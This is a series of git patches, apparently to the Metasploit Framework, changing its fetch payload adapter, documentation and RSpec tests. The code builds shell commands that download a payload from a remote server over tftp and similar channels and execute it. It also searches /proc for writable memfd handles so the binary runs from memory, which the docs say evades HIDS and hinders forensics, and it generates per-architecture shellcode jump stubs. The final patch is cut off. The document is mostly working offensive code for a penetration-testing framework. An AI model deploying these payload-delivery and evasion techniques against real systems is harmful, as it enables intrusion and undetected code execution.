From 5f77c2a5496a7867b4013ce55c96e95ebd86ba2e Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Sun, 7 Jun 2026 18:20:28 +0200 Subject: [PATCH 01/13] Updates documentation for fetch payloads, add fail-safe for shell-search --- .../How-to-use-fetch-payloads.md | 4 +++- lib/msf/core/payload/adapter/fetch.rb | 9 ++++++++- lib/msf/core/payload/adapter/fetch/fileless.rb | 3 ++- 3 files changed, 13 insertions(+), 3 deletions(-) diff --git a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md index ea48c2d27145d..6e92757ff9616 100644 --- a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md +++ b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md @@ -98,7 +98,9 @@ served payload is the same. `FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above. -This option is only available when the platform is Linux. +This option is only available when the platform is Linux. It should be noted that when using `shell-search`, the fetch command +searches for anonymous file handle it can write to and in some restricted systems or with low-privileged user, it might not find +a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism. `FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not supported by every binary and must end in `.exe` on Windows hosts. The default value is random. diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index db9390b22bfc6..66c775953a4f4 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -341,10 +341,17 @@ def _execute_win(get_file_cmd) # @return [String] The command updated for POSIX execution. def _execute_nix(get_file_cmd) return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' - return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' + + if datastore['FETCH_FILELESS'] == 'shell-search' + cmds = _generate_fileless_bash_search(get_file_cmd) + cmds << get_file_cmd + else + cmds = get_file_cmd + end cmds = get_file_cmd + cmds << ";chmod +x #{_remote_destination_nix}" cmds << ";#{_remote_destination_nix}&" cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 1dd76ced52aad..344595f9dc93e 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -328,12 +328,13 @@ def _generate_fileless_bash_search(get_file_cmd) cmd << "; then if $(#{get_file_cmd} >/dev/null)" cmd << '; then $f' cmd << '; FOUND=1' - cmd << '; break' + cmd << '; exit 1' cmd << '; fi' cmd << '; fi' cmd << '; done' cmd << '; fi' cmd << '; done' + cmd << ';' cmd end From f5d1df96be8a189615e3afb34588b073d03ddeb7 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 10 Jun 2026 16:00:52 +0200 Subject: [PATCH 02/13] Updates the fetch payload documentation --- docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md index 6e92757ff9616..87275fe794d8b 100644 --- a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md +++ b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md @@ -100,7 +100,9 @@ memory rather than disk before execution, thus avoiding some HIDS and making for two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above. This option is only available when the platform is Linux. It should be noted that when using `shell-search`, the fetch command searches for anonymous file handle it can write to and in some restricted systems or with low-privileged user, it might not find -a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism. +a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism, which adds +a standard fetch command as backup. This means that if `shell-search` fetch command cannot find a suitable anonymous +file handle, it execute standard fetch command that downloads the adapted payload. `FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not supported by every binary and must end in `.exe` on Windows hosts. The default value is random. From 909126abebc07027126c23808417655145119362 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Fri, 19 Jun 2026 16:03:23 +0200 Subject: [PATCH 03/13] Fixes the failsafe command destination --- lib/msf/core/payload/adapter/fetch.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 66c775953a4f4..354362e5630e8 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -345,6 +345,7 @@ def _execute_nix(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search' cmds = _generate_fileless_bash_search(get_file_cmd) + cmds << "f=#{_remote_destination_nix(true)};" cmds << get_file_cmd else cmds = get_file_cmd @@ -522,10 +523,10 @@ def _remote_destination # Returns or memoizes the remote payload destination for POSIX targets. # # @return [String] The POSIX destination path or fileless placeholder. - def _remote_destination_nix - return @remote_destination_nix unless @remote_destination_nix.nil? + def _remote_destination_nix(failsafe = false) + return @remote_destination_nix unless @remote_destination_nix.nil? || failsafe == true - if datastore['FETCH_FILELESS'] != 'none' + if datastore['FETCH_FILELESS'] != 'none' && failsafe == false @remote_destination_nix = '$f' else writable_dir = datastore['FETCH_WRITABLE_DIR'] @@ -534,6 +535,7 @@ def _remote_destination_nix payload_filename = datastore['FETCH_FILENAME'] payload_filename = srvuri if payload_filename.blank? payload_path = writable_dir + payload_filename + return payload_path if failsafe @remote_destination_nix = payload_path end @remote_destination_nix From 2c56e4caffe6d77451cc1f5c6b20625b7f55d936 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 28 Jul 2026 09:30:01 +0200 Subject: [PATCH 04/13] Fixes bug in shell-search, adds POSIx-compliant string reverse --- lib/msf/core/payload/adapter/fetch.rb | 2 -- lib/msf/core/payload/adapter/fetch/fileless.rb | 16 ++++++++-------- 2 files changed, 8 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 354362e5630e8..e1c84c838b35d 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -351,8 +351,6 @@ def _execute_nix(get_file_cmd) cmds = get_file_cmd end - cmds = get_file_cmd - cmds << ";chmod +x #{_remote_destination_nix}" cmds << ";#{_remote_destination_nix}&" cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 344595f9dc93e..a258d00fd3b65 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -186,7 +186,7 @@ def _generate_first_stage_shellcode(arch) end return payload end - + def _generate_jmp_instruction(arch) # # The sed command will basically take two characters at the time and switch their order, this is due to endianess of x86 addresses @@ -196,25 +196,25 @@ def _generate_jmp_instruction(arch) # mov rax, [target address] # jmp rax when 'x64' - %^"48b8"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ + %^"48b8"$(echo $(printf %016x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ # x86 shellcode # mov eax, [target address] # jmp eax when 'x86' - %^"b8"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ + %^"b8"$(echo $(printf %08x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ # ARM64 shellcode # ldr x0, #8 # br x0 when 'aarch64' - %^"4000005800001fd6"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"4000005800001fd6"$(echo $(printf %016x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')^ # ARMle shelcode # ldr.w r2, [pc, #4] # bx r2 when 'armle' - %^"dff804201047"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"dff804201047"$(echo $(printf %04x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')^ # ARMbe shelcode # ldr.w r2, [pc, #4] @@ -228,7 +228,7 @@ def _generate_jmp_instruction(arch) # lw $t2, 16($ra) # jr $t2 when 'mipsle' - %^"000011040000000026504a011000ea8f0800400100000000"$(echo $(printf %04x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"000011040000000026504a011000ea8f0800400100000000"$(echo $(printf %04x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')^ # MIPSBE shellcode # bgezal $zero, 4 @@ -252,7 +252,7 @@ def _generate_jmp_instruction(arch) # jr t0 # .dword [target address] when 'riscv64le' - %^"9702000083b2c20067800200"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"9702000083b2c20067800200"$(echo $(printf %016x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')^ # RISC-V 32-bit LE shellcode # auipc t0, 0 @@ -260,7 +260,7 @@ def _generate_jmp_instruction(arch) # jr t0 # .word [target address] when 'riscv32le' - %^"9702000083a2c20067800200"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"9702000083a2c20067800200"$(echo $(printf %08x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')^ else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') From 65d5fc6064f2f8f9a1415a8a233b7944d2e6a754 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 30 Jul 2026 11:11:43 +0200 Subject: [PATCH 05/13] Adds backup shell-search for tftp, adds full POSIX address printing --- lib/msf/core/payload/adapter/fetch.rb | 2 +- lib/msf/core/payload/adapter/fetch/fileless.rb | 15 ++++++++------- 2 files changed, 9 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index e1c84c838b35d..25c3bae11bd80 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -461,7 +461,7 @@ def _generate_tftp_command(uri) if datastore['FETCH_FILELESS'] != 'none' && linux? get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}" return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' - return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search' + return "#{_generate_fileless_bash_search(get_file_cmd)} (echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &" if datastore['FETCH_FILELESS'] == 'shell-search' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' else fetch_command = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &" diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index a258d00fd3b65..1b6a4da405fa1 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -187,6 +187,7 @@ def _generate_first_stage_shellcode(arch) return payload end + def _generate_jmp_instruction(arch) # # The sed command will basically take two characters at the time and switch their order, this is due to endianess of x86 addresses @@ -196,25 +197,25 @@ def _generate_jmp_instruction(arch) # mov rax, [target address] # jmp rax when 'x64' - %^"48b8"$(echo $(printf %016x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ + %^"48b8"$(v=$(printf %016x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")"ffe0"^ # x86 shellcode # mov eax, [target address] # jmp eax when 'x86' - %^"b8"$(echo $(printf %08x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^ + %^"b8"$(v=$(printf %08x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")"ffe0"^ # ARM64 shellcode # ldr x0, #8 # br x0 when 'aarch64' - %^"4000005800001fd6"$(echo $(printf %016x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"4000005800001fd6"$(v=$(printf %016x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^ # ARMle shelcode # ldr.w r2, [pc, #4] # bx r2 when 'armle' - %^"dff804201047"$(echo $(printf %04x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"dff804201047"$(v=$(printf %04x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^ # ARMbe shelcode # ldr.w r2, [pc, #4] @@ -228,7 +229,7 @@ def _generate_jmp_instruction(arch) # lw $t2, 16($ra) # jr $t2 when 'mipsle' - %^"000011040000000026504a011000ea8f0800400100000000"$(echo $(printf %04x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"000011040000000026504a011000ea8f0800400100000000"$(v=$(printf %04x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^ # MIPSBE shellcode # bgezal $zero, 4 @@ -252,7 +253,7 @@ def _generate_jmp_instruction(arch) # jr t0 # .dword [target address] when 'riscv64le' - %^"9702000083b2c20067800200"$(echo $(printf %016x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"9702000083b2c20067800200"$(v=$(printf %016x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^ # RISC-V 32-bit LE shellcode # auipc t0, 0 @@ -260,7 +261,7 @@ def _generate_jmp_instruction(arch) # jr t0 # .word [target address] when 'riscv32le' - %^"9702000083a2c20067800200"$(echo $(printf %08x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')^ + %^"9702000083a2c20067800200"$(v=$(printf %08x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^ else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') From ceb90305fe397998216083661485319343991c08 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 31 Jul 2026 16:28:02 -0500 Subject: [PATCH 06/13] Minor fix to shell-search to accurately determine failed download --- .../How-to-use-fetch-payloads.md | 6 +-- lib/msf/core/payload/adapter/fetch.rb | 12 +++-- .../core/payload/adapter/fetch/fileless.rb | 5 +- .../payload/adapter/fetch/fileless_spec.rb | 47 ++++++++++++++++++- .../msf/core/payload/adapter/fetch_spec.rb | 37 +++++++++++++++ 5 files changed, 94 insertions(+), 13 deletions(-) diff --git a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md index 87275fe794d8b..92b61cab24e2a 100644 --- a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md +++ b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md @@ -99,10 +99,10 @@ served payload is the same. memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above. This option is only available when the platform is Linux. It should be noted that when using `shell-search`, the fetch command -searches for anonymous file handle it can write to and in some restricted systems or with low-privileged user, it might not find +searches for an anonymous file handle it can write to, and on some restricted systems or with a low-privileged user, it might not find a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism, which adds -a standard fetch command as backup. This means that if `shell-search` fetch command cannot find a suitable anonymous -file handle, it execute standard fetch command that downloads the adapted payload. +a standard fetch command as backup. This means that if the `shell-search` fetch command cannot find a suitable anonymous +file handle, it executes the standard fetch command that downloads the adapted payload. `FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not supported by every binary and must end in `.exe` on Windows hosts. The default value is random. diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 25c3bae11bd80..d756e074dc74f 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -342,10 +342,10 @@ def _execute_win(get_file_cmd) def _execute_nix(get_file_cmd) return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' - + if datastore['FETCH_FILELESS'] == 'shell-search' cmds = _generate_fileless_bash_search(get_file_cmd) - cmds << "f=#{_remote_destination_nix(true)};" + cmds << "f=#{_remote_destination_nix(failsafe: true)};" cmds << get_file_cmd else cmds = get_file_cmd @@ -458,13 +458,14 @@ def _generate_tftp_command(uri) fetch_command = _execute_win("tftp -i #{srvhost} GET #{uri} #{_remote_destination}") else _check_tftp_file + tftp_fetch_and_exec = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &" if datastore['FETCH_FILELESS'] != 'none' && linux? get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}" return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' - return "#{_generate_fileless_bash_search(get_file_cmd)} (echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &" if datastore['FETCH_FILELESS'] == 'shell-search' + return "#{_generate_fileless_bash_search(get_file_cmd)} #{tftp_fetch_and_exec}" if datastore['FETCH_FILELESS'] == 'shell-search' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' else - fetch_command = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &" + fetch_command = tftp_fetch_and_exec end end else @@ -521,7 +522,7 @@ def _remote_destination # Returns or memoizes the remote payload destination for POSIX targets. # # @return [String] The POSIX destination path or fileless placeholder. - def _remote_destination_nix(failsafe = false) + def _remote_destination_nix(failsafe: false) return @remote_destination_nix unless @remote_destination_nix.nil? || failsafe == true if datastore['FETCH_FILELESS'] != 'none' && failsafe == false @@ -534,6 +535,7 @@ def _remote_destination_nix(failsafe = false) payload_filename = srvuri if payload_filename.blank? payload_path = writable_dir + payload_filename return payload_path if failsafe + @remote_destination_nix = payload_path end @remote_destination_nix diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 1b6a4da405fa1..306038e7741b9 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -186,7 +186,6 @@ def _generate_first_stage_shellcode(arch) end return payload end - def _generate_jmp_instruction(arch) # @@ -293,7 +292,7 @@ def _generate_fileless_shell(get_file_cmd, arch) cmd << 'then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);' cmd << 'do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];' - cmd << "then if $(#{get_file_cmd} >/dev/null);" + cmd << "then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ];" cmd << 'then $f & FOUND=1;break;' cmd << 'fi;' cmd << 'fi;' @@ -326,7 +325,7 @@ def _generate_fileless_bash_search(get_file_cmd) # and execute it cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]' - cmd << "; then if $(#{get_file_cmd} >/dev/null)" + cmd << "; then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ]" cmd << '; then $f' cmd << '; FOUND=1' cmd << '; exit 1' diff --git a/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb b/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb index 04f8ef2ced14c..bc917b9cd7a03 100644 --- a/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb +++ b/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb @@ -46,7 +46,37 @@ subject(:cmd) { harness._generate_fileless_bash_search(get_file_cmd) } it 'embeds get_file_cmd directly, since the surrounding script text is unquoted' do - expect(cmd).to include("if $(#{get_file_cmd} >/dev/null)") + expect(cmd).to include("if #{get_file_cmd} >/dev/null") + end + + it 'checks the real exit status of get_file_cmd rather than a swallowed command substitution' do + # $(get_file_cmd >/dev/null) always captures an empty string (stdout is + # redirected away inside the substitution), and `if ` is always + # true in bash regardless of whether get_file_cmd actually succeeded. + expect(cmd).not_to include("$(#{get_file_cmd}") + end + + it 'verifies the candidate anonymous file actually holds a downloaded ELF, not just any pre-existing content' do + # A candidate fd can pass the memfd/rwx filter yet belong to an unrelated + # process with its own real (non-empty) data already in it -- a bare + # exit-status or size check can't tell "our payload landed here" apart + # from "there was already unrelated data here we couldn't overwrite". + expect(cmd).to include(%q{[ "$(dd if=$f bs=1 count=4 2>/dev/null)" = "$(printf '\177ELF')" ]}) + end + + it 'does not depend on od or head -c, neither of which is guaranteed present/POSIX-mandated on minimal/embedded busybox builds' do + expect(cmd).not_to include('od ') + expect(cmd).not_to include('head -c4 $f') + end + + it 'exits the whole script on a successful match rather than merely breaking the search loop' do + # A bare `break` only exits the innermost loop -- when this search + # script is concatenated with a fallback (as _execute_nix's shell-search + # branch does), a successful match must terminate the entire script via + # `exit`, or the fallback below would run again and re-download/re-exec + # the payload a second time. + expect(cmd).to include('; exit 1') + expect(cmd).not_to include('; break') end end @@ -54,7 +84,20 @@ subject(:cmd) { harness._generate_fileless_shell(get_file_cmd, 'mipsle') } it 'embeds get_file_cmd directly, since the surrounding script text is unquoted' do - expect(cmd).to include("then if $(#{get_file_cmd} >/dev/null)") + expect(cmd).to include("then if #{get_file_cmd} >/dev/null") + end + + it 'checks the real exit status of get_file_cmd rather than a swallowed command substitution' do + expect(cmd).not_to include("$(#{get_file_cmd}") + end + + it 'verifies the candidate anonymous file actually holds a downloaded ELF' do + expect(cmd).to include(%q{[ "$(dd if=$f bs=1 count=4 2>/dev/null)" = "$(printf '\177ELF')" ]}) + end + + it 'does not depend on od or head -c, neither of which is guaranteed present/POSIX-mandated on minimal/embedded busybox builds' do + expect(cmd).not_to include('od ') + expect(cmd).not_to include('head -c4 $f') end end end diff --git a/spec/lib/msf/core/payload/adapter/fetch_spec.rb b/spec/lib/msf/core/payload/adapter/fetch_spec.rb index f236643e382e8..4a4df3a986c11 100644 --- a/spec/lib/msf/core/payload/adapter/fetch_spec.rb +++ b/spec/lib/msf/core/payload/adapter/fetch_spec.rb @@ -69,4 +69,41 @@ def _execute_add(get_file_cmd) describe '#_generate_wget_command' do include_examples 'a dynamic-arch aware fetch command', :_generate_wget_command end + + describe '#_remote_destination_nix' do + let(:harness_class) do + Class.new do + include Msf::Payload::Adapter::Fetch + + def initialize + @datastore = { + 'FETCH_FILELESS' => 'shell-search', + 'FETCH_WRITABLE_DIR' => '', + 'FETCH_FILENAME' => '' + } + end + attr_accessor :datastore + + def srvuri + 'payload_uri' + end + end + end + + subject(:harness) { harness_class.new } + + it 'returns the standard writable-dir path when called with failsafe: true' do + expect(harness.send(:_remote_destination_nix, failsafe: true)).to eq('./payload_uri') + end + + it 'does not memoize the failsafe: true result into @remote_destination_nix' do + harness.send(:_remote_destination_nix, failsafe: true) + expect(harness.instance_variable_get(:@remote_destination_nix)).to be_nil + end + + it 'still returns the fileless placeholder on a later unqualified call, unaffected by the earlier failsafe: true peek' do + harness.send(:_remote_destination_nix, failsafe: true) + expect(harness.send(:_remote_destination_nix)).to eq('$f') + end + end end From 0e0d90c061340795f753225dc8968f0d34409195 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 5 Aug 2026 16:28:18 +0200 Subject: [PATCH 07/13] Changes exit 1 to exit 0 --- lib/msf/core/payload/adapter/fetch/fileless.rb | 2 +- spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 306038e7741b9..e01fc6f7ef639 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -328,7 +328,7 @@ def _generate_fileless_bash_search(get_file_cmd) cmd << "; then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ]" cmd << '; then $f' cmd << '; FOUND=1' - cmd << '; exit 1' + cmd << '; exit 0' cmd << '; fi' cmd << '; fi' cmd << '; done' diff --git a/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb b/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb index bc917b9cd7a03..f4d72fd3164b7 100644 --- a/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb +++ b/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb @@ -75,7 +75,7 @@ # branch does), a successful match must terminate the entire script via # `exit`, or the fallback below would run again and re-download/re-exec # the payload a second time. - expect(cmd).to include('; exit 1') + expect(cmd).to include('; exit 0') expect(cmd).not_to include('; break') end end From 26b52c821db5183526ffca469a9e4bf81d676b31 Mon Sep 17 00:00:00 2001 From: eipoverflow <8319262+eipoverflow@users.noreply.github.com> Date: Fri, 14 Aug 2026 11:03:52 +0200 Subject: [PATCH 08/13] Updates documentation --- docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md index 92b61cab24e2a..8e0d9c6aeb6fc 100644 --- a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md +++ b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md @@ -97,7 +97,7 @@ served payload is the same. ### Dependent Options `FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are -two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above. +three options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above. This option is only available when the platform is Linux. It should be noted that when using `shell-search`, the fetch command searches for an anonymous file handle it can write to, and on some restricted systems or with a low-privileged user, it might not find a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism, which adds From 4d750ceedcba392cf2d7b016bb4f51de85001dcb Mon Sep 17 00:00:00 2001 From: eipoverflow <8319262+eipoverflow@users.noreply.github.com> Date: Fri, 14 Aug 2026 11:46:16 +0200 Subject: [PATCH 09/13] Adds background execution when anonymous file handle is found --- lib/msf/core/payload/adapter/fetch/fileless.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index e01fc6f7ef639..366c64709ebba 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -326,8 +326,8 @@ def _generate_fileless_bash_search(get_file_cmd) cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]' cmd << "; then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ]" - cmd << '; then $f' - cmd << '; FOUND=1' + cmd << '; then $f ' + cmd << '& FOUND=1' cmd << '; exit 0' cmd << '; fi' cmd << '; fi' From 912391ba818a47450b26cc94e03a72b274cedc42 Mon Sep 17 00:00:00 2001 From: eipoverflow <8319262+eipoverflow@users.noreply.github.com> Date: Mon, 17 Aug 2026 07:27:36 +0200 Subject: [PATCH 